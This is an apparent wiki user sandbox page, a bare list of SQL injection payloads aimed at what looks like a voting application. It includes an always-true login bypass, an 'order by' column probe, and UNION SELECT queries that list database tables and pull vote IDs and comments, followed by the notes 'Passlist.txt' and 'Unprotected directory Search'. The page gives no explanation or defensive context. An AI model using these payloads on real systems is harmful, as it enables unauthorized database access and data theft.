User:Eshan0113/sandbox

v8' or '1'='1

v8' order by 2--

v8' union all select 1,convert(nvarchar,2)--

v8' union all select 2,convert(nvarchar,voteid)from vote--

v8' union all select 1,convert(nvarchar,table_name)from information_schema.tables--

v8' union all select 1,concat(voteid,comments)from vote--

Passlist.txt

Unprotected directory Search